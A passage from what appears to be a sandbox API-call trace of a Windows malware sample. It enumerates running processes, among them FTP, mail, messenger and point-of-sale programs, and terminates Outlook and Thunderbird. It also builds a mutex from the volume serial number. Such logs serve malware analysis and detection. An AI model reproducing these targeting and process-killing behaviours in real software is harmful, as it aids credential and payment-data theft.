dwFlags=0x0, szExeFile="recommend hold florists.exe")) returned 1 [0070.278] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0070.278] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0070.279] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0070.282] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0070.282] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0070.283] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0070.284] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0070.286] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0070.287] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0070.287] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0070.299] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0070.300] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0070.301] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0070.302] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0070.303] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0070.319] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0070.320] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0070.321] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0070.322] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0xa6c) returned 0x258 [0070.322] TerminateProcess (hProcess=0x258, uExitCode=0x0) returned 1 [0070.327] CloseHandle (hObject=0x258) returned 1 [0070.327] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0070.328] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0070.329] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0070.330] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0070.333] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0070.334] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0xa80) returned 0x258 [0070.334] TerminateProcess (hProcess=0x258, uExitCode=0x0) returned 1 [0070.334] CloseHandle (hObject=0x258) returned 1 [0070.334] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0070.336] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0070.337] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0070.338] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0070.339] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0070.340] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0070.341] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0070.342] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0070.343] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0070.344] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0070.344] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0070.345] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0070.346] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0070.347] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0070.358] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0070.359] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0070.360] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0070.360] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0070.361] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0070.362] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0070.363] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1034, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0070.364] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="hearts_walker_poet.exe")) returned 1 [0070.365] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="lb_community.exe")) returned 1 [0070.366] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="hispanic.exe")) returned 1 [0070.474] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0070.475] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1120, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.476] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0070.477] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0070.478] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0070.479] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0070.480] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0070.480] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0070.481] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x126c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x120c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0070.482] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11f4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0070.483] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x137c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.484] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0070.484] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0070.485] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 0 [0070.486] CloseHandle (hObject=0x218) returned 1 [0070.486] Sleep (dwMilliseconds=0x1f4) [0071.090] GetProcessHeap () returned 0x170000 [0071.090] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18dee8 | out: hHeap=0x170000) returned 1 [0071.090] GetProcessHeap () returned 0x170000 [0071.090] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18a8d0 | out: hHeap=0x170000) returned 1 [0071.090] GetProcessHeap () returned 0x170000 [0071.090] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x180e40 | out: hHeap=0x170000) returned 1 Thread: id = 6 os_tid = 0x10d4 [0070.226] GetVersion () returned 0x23f00206 [0070.226] GetCurrentProcess () returned 0xffffffff [0070.226] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x23efb3c | out: TokenHandle=0x23efb3c*=0x250) returned 1 [0070.226] GetTokenInformation (in: TokenHandle=0x250, TokenInformationClass=0x14, TokenInformation=0x23efb34, TokenInformationLength=0x4, ReturnLength=0x23efb38 | out: TokenInformation=0x23efb34, ReturnLength=0x23efb38) returned 1 [0070.226] CloseHandle (hObject=0x250) returned 1 [0070.226] GetProcessHeap () returned 0x170000 [0070.226] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20) returned 0x18c2b0 [0070.226] GetProcessHeap () returned 0x170000 [0070.226] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x1e) returned 0x18c0f8 [0070.226] GetProcessHeap () returned 0x170000 [0070.226] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x1e) returned 0x18c2d8 [0070.226] GetProcessHeap () returned 0x170000 [0070.226] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x174b30 [0070.227] GetProcessHeap () returned 0x170000 [0070.227] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x174b30 | out: hHeap=0x170000) returned 1 [0070.227] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x18c0f8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0070.227] GetProcessHeap () returned 0x170000 [0070.227] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c2d8 | out: hHeap=0x170000) returned 1 [0070.227] GetProcessHeap () returned 0x170000 [0070.227] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c2b0 | out: hHeap=0x170000) returned 1 [0070.227] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x23efac4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x23efac4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0070.227] GetProcessHeap () returned 0x170000 [0070.227] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c0f8 | out: hHeap=0x170000) returned 1 [0070.227] GetProcessHeap () returned 0x170000 [0070.227] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x40) returned 0x17dcd8 [0070.227] GetProcessHeap () returned 0x170000 [0070.227] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x3a) returned 0x17dae0 [0070.227] GetProcessHeap () returned 0x170000 [0070.227] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x17dae0, Size=0x72) returned 0x178980 [0070.227] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x250 [0070.228] WaitForSingleObject (hHandle=0x250, dwMilliseconds=0x0) returned 0x102 [0070.228] CloseHandle (hObject=0x250) returned 1 [0070.228] GetProcessHeap () returned 0x170000 [0070.228] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x17dcd8 | out: hHeap=0x170000) returned 1 [0070.228] GetProcessHeap () returned 0x170000 [0070.228] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x178980 | out: hHeap=0x170000) returned 1 [0070.228] Sleep (dwMilliseconds=0x3e8) [0071.482] GetProcessHeap () returned 0x170000 [0071.482] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20) returned 0x18bf68 [0071.482] GetProcessHeap () returned 0x170000 [0071.482] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x1e) returned 0x18c238 [0071.482] GetProcessHeap () returned 0x170000 [0071.482] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x1e) returned 0x18c058 [0071.482] GetProcessHeap () returned 0x170000 [0071.482] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x18ce08 [0071.482] GetProcessHeap () returned 0x170000 [0071.482] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce08 | out: hHeap=0x170000) returned 1 [0071.482] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x18c238, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0071.483] GetProcessHeap () returned 0x170000 [0071.483] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c058 | out: hHeap=0x170000) returned 1 [0071.483] GetProcessHeap () returned 0x170000 [0071.483] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18bf68 | out: hHeap=0x170000) returned 1 [0071.483] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x23efac4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x23efac4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0071.483] GetProcessHeap () returned 0x170000 [0071.483] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c238 | out: hHeap=0x170000) returned 1 [0071.483] GetProcessHeap () returned 0x170000 [0071.483] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x40) returned 0x17e1e8 [0071.483] GetProcessHeap () returned 0x170000 [0071.483] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x3a) returned 0x17e278 [0071.483] GetProcessHeap () returned 0x170000 [0071.483] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x17e278, Size=0x72) returned 0x1a46e8 [0071.483] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x268 [0071.483] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0x0) returned 0x102 [0071.483] CloseHandle (hObject=0x268) returned 1 [0071.484] GetProcessHeap () returned 0x170000 [0071.484] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x17e1e8 | out: hHeap=0x170000) returned 1 [0071.484] GetProcessHeap () returned 0x170000 [0071.484] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1a46e8 | out: hHeap=0x170000) returned 1 [0071.484] Sleep (dwMilliseconds=0x3e8) [0072.579] GetProcessHeap () returned 0x170000 [0072.579] RtlAllocateHeap (HeapHandle=0x170000, 